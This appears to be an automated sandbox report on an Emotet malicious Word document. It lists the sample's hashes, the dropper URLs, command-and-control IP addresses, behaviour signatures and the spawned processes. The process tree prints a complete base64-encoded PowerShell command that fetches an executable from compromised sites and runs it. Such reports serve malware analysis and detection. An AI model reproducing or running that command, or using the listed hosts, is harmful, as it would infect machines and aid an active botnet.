Analysis

  • max time kernel
    135s
  • max time network
    131s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    12/08/2020, 09:24

General

  • Target
    emotet_e2_975bbf11f28dfc7c66c6cf49572657178c8ee4acb9d48d403c01bac687b1eeda_2020-08-12__092147._doc.doc
  • Size 230KB
  • Sample200812-1dbys2heve
  • SHA256 975bbf11f28dfc7c66c6cf49572657178c8ee4acb9d48d403c01bac687b1eeda
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://hoangminhmz.com/cgi-bin/q0_nrb_p2qrgvqj2a/

  • exe.dropper

    https://baobatdongsanonline.com/wp-admin/mls4k_hos_9w/

  • exe.dropper

    http://ledgr.xyz/wp-content/o8_748h_4wm/

  • exe.dropper

    http://countercon.com.br/erros/u_mkq_6c420i08w/

  • exe.dropper

    http://dinhphuoclong.tk/wp-admin/6s82c_c_knml6ofko/

Extracted

Family
  • emotet

C2
  • 107.185.211.16:80

  • 96.8.113.4:8080

  • 153.126.210.205:7080

  • 47.146.117.214:80

  • 104.131.44.150:8080

  • 169.239.182.217:8080

  • 95.179.229.244:8080

  • 209.182.216.177:443

  • 209.141.54.221:8080

  • 5.196.74.210:8080

  • 72.12.127.184:443

  • 104.131.11.150:443

  • 200.55.243.138:8080

  • 116.203.32.252:8080

  • 142.105.151.124:443

  • 81.2.235.111:8080

  • 74.120.55.163:80

  • 167.86.90.214:8080

  • 87.106.139.101:8080

  • 37.139.21.175:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_975bbf11f28dfc7c66c6cf49572657178c8ee4acb9d48d403c01bac687b1eeda_2020-08-12__092147._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:716
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABFAE0ARQBYAFkAagBsAHcAPQAnAFcASwBZAFgAUgBlAGYAcQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBgAGMAdQByAGkAVAB5AFAAcgBvAFQATwBjAGAATwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQATgBLAEUAQwBKAHEAdwBuACAAPQAgACcANgA0ADQAJwA7ACQATwBIAEIASgBMAGsAcQB0AD0AJwBWAFIARgBaAEEAdgBnAHMAJwA7ACQATQBBAEMASQBWAGIAYwBpAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABOAEsARQBDAEoAcQB3AG4AKwAnAC4AZQB4AGUAJwA7ACQAUABDAFQAVwBZAGEAZwB5AD0AJwBRAFQAWgBYAFMAYQBpAHoAJwA7ACQARwBNAEEARABJAGQAZAByAD0AJgAoACcAbgAnACsAJwBlAHcAJwArACcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABOAEUAdAAuAHcAZQBiAEMAbABpAGUATgBUADsAJABXAEMARABMAFQAdABlAGUAPQAnAGgAdAB0AHAAOgAvAC8AaABvAGEAbgBnAG0AaQBuAGgAbQB6AC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AcQAwAF8AbgByAGIAXwBwADIAcQByAGcAdgBxAGoAMgBhAC8AKgBoAHQAdABwAHMAOgAvAC8AYgBhAG8AYgBhAHQAZABvAG4AZwBzAGEAbgBvAG4AbABpAG4AZQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBsAHMANABrAF8AaABvAHMAXwA5AHcALwAqAGgAdAB0AHAAOgAvAC8AbABlAGQAZwByAC4AeAB5AHoALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AbwA4AF8ANwA0ADgAaABfADQAdwBtAC8AKgBoAHQAdABwADoALwAvAGMAbwB1AG4AdABlAHIAYwBvAG4ALgBjAG8AbQAuAGIAcgAvAGUAcgByAG8AcwAvAHUAXwBtAGsAcQBfADYAYwA0ADIAMABpADAAOAB3AC8AKgBoAHQAdABwADoALwAvAGQAaQBuAGgAcABoAHUAbwBjAGwAbwBuAGcALgB0AGsALwB3AHAALQBhAGQAbQBpAG4ALwA2AHMAOAAyAGMAXwBjAF8AawBuAG0AbAA2AG8AZgBrAG8ALwAnAC4AIgBTAGAAUABsAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEMAQwBUAE4ASABwAGYAYgA9ACcAUQBMAFgAQgBMAG0AbABiACcAOwBmAG8AcgBlAGEAYwBoACgAJABYAEEAVgBXAE8AYwBsAGUAIABpAG4AIAAkAFcAQwBEAEwAVAB0AGUAZQApAHsAdAByAHkAewAkAEcATQBBAEQASQBkAGQAcgAuACIAZABgAE8AdwBuAEwAbwBhAEQAYABGAGkATABlACIAKAAkAFgAQQBWAFcATwBjAGwAZQAsACAAJABNAEEAQwBJAFYAYgBjAGkAKQA7ACQAVQBSAEoAQgBEAG4AeQBhAD0AJwBGAFgAWQBGAFEAYgB3AGQAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAdAAnACsAJwBlAG0AJwApACAAJABNAEEAQwBJAFYAYgBjAGkAKQAuACIAbABgAEUAYABOAEcAdABIACIAIAAtAGcAZQAgADMAMgAwADUANwApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwByAGUAYABBAGAAVABFACIAKAAkAE0AQQBDAEkAVgBiAGMAaQApADsAJABCAFUARQBSAFcAcgBwAG0APQAnAE8ASABOAEwAUgBsAG4AaAAnADsAYgByAGUAYQBrADsAJABCAFoARwBPAEgAbwBhAGQAPQAnAEwAVgBWAEYASQB3AGwAegAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABRAEEATQBKAE8AYQBsAGwAPQAnAFIATQBIAFQAQwB1AGYAYgAnAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:3156
  • C:\Users\Admin\644.exe
    C:\Users\Admin\644.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:556
    • C:\Windows\SysWOW64\ktmutil\auditpolcore.exe
      "C:\Windows\SysWOW64\ktmutil\auditpolcore.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:728

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/556-13-0x0000000000600000-0x000000000060C000-memory.dmp

        memory/716-4-0x00000126DEB3E000-0x00000126DEB3F000-memory.dmp

        memory/716-5-0x00000126DEB3F000-0x00000126DEB42000-memory.dmp

        memory/716-6-0x00000126DEF37000-0x00000126DEF42000-memory.dmp

        memory/716-7-0x00000126DEF37000-0x00000126DEF42000-memory.dmp

        memory/716-0-0x00007FFFB8FB0000-0x00007FFFB9676000-memory.dmp

        memory/716-3-0x00000126DC44D000-0x00000126DC452000-memory.dmp

        memory/716-2-0x00000126DE958000-0x00000126DE95B000-memory.dmp

        memory/716-1-0x00000126DE955000-0x00000126DE958000-memory.dmp

        memory/728-16-0x0000000001FE0000-0x0000000001FEC000-memory.dmp

        memory/3156-8-0x00007FFFB16C0000-0x00007FFFB20AC000-memory.dmp

        memory/3156-9-0x000001B8F3710000-0x000001B8F3711000-memory.dmp

        memory/3156-10-0x000001B8F3920000-0x000001B8F3921000-memory.dmp